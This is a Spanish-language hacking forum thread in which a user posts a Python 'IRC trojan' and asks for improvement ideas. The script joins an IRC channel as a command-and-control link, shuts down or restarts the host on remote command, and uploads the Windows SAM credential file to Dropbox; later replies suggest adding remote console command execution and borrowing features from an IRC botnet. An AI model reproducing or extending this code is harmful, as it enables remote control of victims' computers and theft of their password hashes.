Underc0de

Programación Scripting => Python => Mensaje iniciado por: deletethisaccount en Septiembre 12, 2016, 01:07:06 PM

Título: Troyano IRC
Publicado por: deletethisaccount en Septiembre 12, 2016, 01:07:06 PM
Hola hoy he hecho este pequeño script y no se que mas ponerle para que no sea tan cortito
Código (python) [Seleccionar]
import sys
import time
import socket
import os
import dropbox
import datetime
server=" irc.ejemplo.net"#el servidor irc tullo
botnick="botejemplo"#el nombre dela maquina
channel="#ejeplo"#canal
client = dropbox.client.DropboxClient('Tu token')#Tu token para subirlo a dropbox(si quieres)
suffix = datetime.datetime.now().strftime("%Y-%m-%d-%H-%M-%S")
p = "sam"+suffix+".bin"
irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
irc.connect((server,6667))
irc.setblocking(False)
time.sleep(1)
irc.send("USER "+botnick+" "+botnick+" "+botnick+" :Hola soy un bot!\r\n")
time.sleep(1)
irc.send("NICK "+botnick+"\n")
time.sleep(1)
irc.send("JOIN "+channel+"\n")

while 1:
     time.sleep(0.1)
     try:
          text=irc.recv(2040)
          print(text)
     except Exception:
          pass
     if text.find("PING")!=-1:
          irc.send("PONG "+text.split()[1]+"\r\n")
     if text.lower().find(":@apaga")!=-1:
          os.system('shutdown -P')#para apagar la pc
     if text.lower().find(":@reinicia")!=-1:
          os.system('shutdown -r')#para reiniciarla
      if text.lower().find(":@passthehash")!=-1:
           f = open ('C:\Windows\system32\config\sam')#para abrir sam
           client.put_file(p, f)#para subirlo a dropbox
 
     text=""
input()

que mas le  puedo poner y solucionar para que sea mejor? ;) ;)
Título: Re:Troyano IRC
Publicado por: ANTRAX en Septiembre 12, 2016, 02:02:50 PM
Muy buen trabajo bro! Yo creo que @seth (https://underc0de.org/foro/index.php?action=profile;u=38096) es el indicado para mencionarte que mejorarle!

Saludos,
ANTRAX
Título: Re:Troyano IRC
Publicado por: seth en Septiembre 12, 2016, 08:33:03 PM
En general, un bot de irc responde a necesidades de los usuarios de un canal

Por ejemplo, si pasan muchos links capaz queres que muestre el titulo de la pagina
En un canal jugabamos a un juego en el que un usuario pasaba el link a dos articulos de wikipedia y habia que buscar la forma de llegar de uno al otro clickeando en la menor cantidad de links posibles. Habia un bot que verificaba que los resultados sean correctos y contaba los links
Si es por practicar, fijate cosas que hace otro bot. Te dejo uno que hice hace tiempo https://github.com/seth--/PHPidler/tree/master/plugins

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola,tengo una duda:

Cómo podría coger lo que el usuario escribe en un chat irc, y printearlo en el chat con un bot irc hecho en python con la librería socket?? :'(
en tu codigo, al mensaje lo tenes en la variable text
hacele un print a eso para ver que tiene y ahi fijate como extraer la parte que te interesa
para mandar algo a un canal tenes que usar privmsg
Creo que es asi: "PRIVMSG #canal: mensaje"
Título: Re:Troyano IRC
Publicado por: deletethisaccount en Septiembre 13, 2016, 08:03:39 AM
grax  ;),ya lo solucione lo unico que tenia que hacer es hacer un .replace:
Código (python) [Seleccionar]
if text.find("ola")!=-1:
          mi_texto=text.replace(":dolphin_!577db627@gateway/web/freenode/ip.MI_IP_PUBLICA PRIVMSG ##hola :", "")   
          irc.send("PRIVMSG "+channel+" :"+mi_texto+"\r\n")
Título: Re:Troyano IRC
Publicado por: seth en Septiembre 13, 2016, 10:10:14 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
grax  ;),ya lo solucione lo unico que tenia que hacer es hacer un .replace:
Código (python) [Seleccionar]
if text.find("ola")!=-1:
          mi_texto=text.replace(":dolphin_!577db627@gateway/web/freenode/ip.MI_IP_PUBLICA PRIVMSG ##hola :", "")   
          irc.send("PRIVMSG "+channel+" :"+mi_texto+"\r\n")

y si cambia esta parte? dolphin_!577db627
y si cambia la ip?
no uses replace, usa split
Título: Re:Troyano IRC
Publicado por: deletethisaccount en Septiembre 14, 2016, 10:41:50 AM
tienes razon,va de maravilla,gracias
Código (python) [Seleccionar]
if text.find("prueba")!=-1:
          mi_texto=text.split('prueba')
          irc.send("PRIVMSG "+channel+" :"+mi_texto[1]+"\r\n")
Título: Re:Troyano IRC
Publicado por: seth en Septiembre 14, 2016, 11:57:27 AM
Mira como hacen aca http://stackoverflow.com/questions/930700/python-parsing-irc-messages

La idea es cortar el string en ":" y " ", que es lo que usa el protocolo para separar campos. De esa forma, si queres seguir ampliando el bot va a ser mucho mas facil
Título: Re:Troyano IRC
Publicado por: dreadpixel en Marzo 12, 2017, 11:51:52 PM
Para hacerlo realmente un troyano debes agregar funciones que puedan operar el sistema operativo que se esta siendo usado.
Puedes poner que mande comandos a la consola dependiendo que OS tenga. Y hacer poder de prueba ls o dir.


Título: Re:Troyano IRC
Publicado por: seth en Marzo 13, 2017, 09:55:13 PM
parece que nunca me di cuenta de que estabamos hablando de un troyano, yo le hablaba como si fuera un bot comun
Título: Re:Troyano IRC
Publicado por: BigBear en Marzo 17, 2017, 06:23:29 PM
Si se trata de un troyano IRC y buscas ideas entonces revista la lista de funciones de mi IRC Botnet en Delphi : Project Spartacus 2.0 (https://underc0de.org/foro/delphi/(delphi)-project-spartacus-2-0/) , tu trabajo seria traducir a Python las funciones que te gustan del proyecto.

Saludos.